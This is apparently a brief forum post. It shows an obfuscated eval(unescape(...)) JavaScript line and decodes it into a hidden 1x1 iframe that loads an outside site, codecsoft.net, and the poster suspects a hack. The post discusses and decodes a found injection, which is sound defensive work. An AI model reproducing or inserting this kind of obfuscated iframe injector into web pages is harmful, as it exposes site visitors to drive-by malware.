Code:
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%63%6f%64%65%63%73%6f%66%74%2e%6e%65%74%2f%73%74%72%6f%6e%67%2f%31%36%37%2f%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b'));
tranlates to
Code:
write('<iframe src=http://codecsoft.net/strong/167/ width=1 height=1></iframe>');\'));
probably a hack, or the site owner took up the guy offering to pay for iframes here the other day.